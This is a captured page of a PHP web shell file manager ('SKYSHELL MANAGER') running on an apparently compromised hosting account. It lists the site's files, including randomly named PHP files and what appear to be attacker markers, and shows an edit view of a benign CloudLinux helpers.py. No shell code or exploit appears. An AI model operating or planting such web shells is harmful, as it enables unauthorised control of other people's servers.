📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: helpers.py
# -*- coding: utf-8 -*- # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT # import inspect import logging import os import sys import raven import time from io import StringIO from contextlib import contextmanager from functools import wraps logger = logging.getLogger(__name__) LISTENERS_DIRECTORY = '/usr/share/cloudlinux/hooks/listeners/' @contextmanager def capture_output(stdo, stde): stdout = sys.stdout stderr = sys.stderr try: sys.stdout = stdo or StringIO() sys.stderr = stde or StringIO() yield finally: sys.stdout = stdout sys.stderr = stderr def hook_method(func): """ Magic decorator that calls all subclass methods that override base decorated one. Requirements: - subclass must be defined in .py file in LISTENERS_DIRECTORY - subclass must NOT start with '_' char - subclass must override base event method (the one with '@hook_method') """ @wraps(func) def _wrapped(self, *args, **kwargs): # this only return direct subclasses, so we can't make `proxies` now for subclass in self.__class__.__subclasses__(): listener_path = os.path.dirname(inspect.getmodule(subclass).__file__) # skip child if it is not in expected directory if os.path.normpath(LISTENERS_DIRECTORY) != os.path.normpath(listener_path): logger.warning('%s is not in %s directory; it is in %s,' ' skip', subclass, LISTENERS_DIRECTORY, listener_path) continue # skip internal classes if subclass.__name__.startswith('_'): continue # magic: get method only if it is defined in child (NOT in parent) listener = getattr(subclass(), func.__name__) if getattr(listener, 'is_magic_method', False): logger.debug('skip %s is not implemented in %s', func.__name__, subclass.__name__) continue logger.info('executing %s:%s', func.__name__, subclass.__name__) now = time.time() stdout, stderr = StringIO(), StringIO() try: with capture_output(stdout, stderr): listener(*args, **kwargs) except Exception: # use Raven carefully and only in places where # you sure that sentry is already initialized raven.base.Raven.captureException( fingerprint=['{{ default }}', subclass.__name__, func.__name__], extra={'stdout': stdout.getvalue(), 'stderr': stderr.getvalue()} ) logger.warning('listener %s:%s crashed', subclass.__name__, func.__name__, exc_info=1) finally: elapsed = time.time() - now stdout_str = stdout.getvalue() if stdout_str: logger.info('captured stdout of %s:%s\n~BEGIN OUTPUT~\n%s\n~END OUTPUT~\n', func.__name__, subclass.__name__, stdout_str) stderr_str = stderr.getvalue() if stderr_str: logger.debug('captured stderr of %s:%s\n~BEGIN OUTPUT~\n%s\n~END OUTPUT~\n', func.__name__, subclass.__name__, stderr_str) logger.debug('running %s: %.4f elapsed', func.__name__, elapsed) logger.info('%s executed by the user with uid %s and gid %s', func.__name__, os.geteuid(), os.getegid()) logger.info('ended %s(%s, %s)', func.__name__, args, kwargs) # special marker to determine overrided methods _wrapped.is_magic_method = True return _wrapped
Save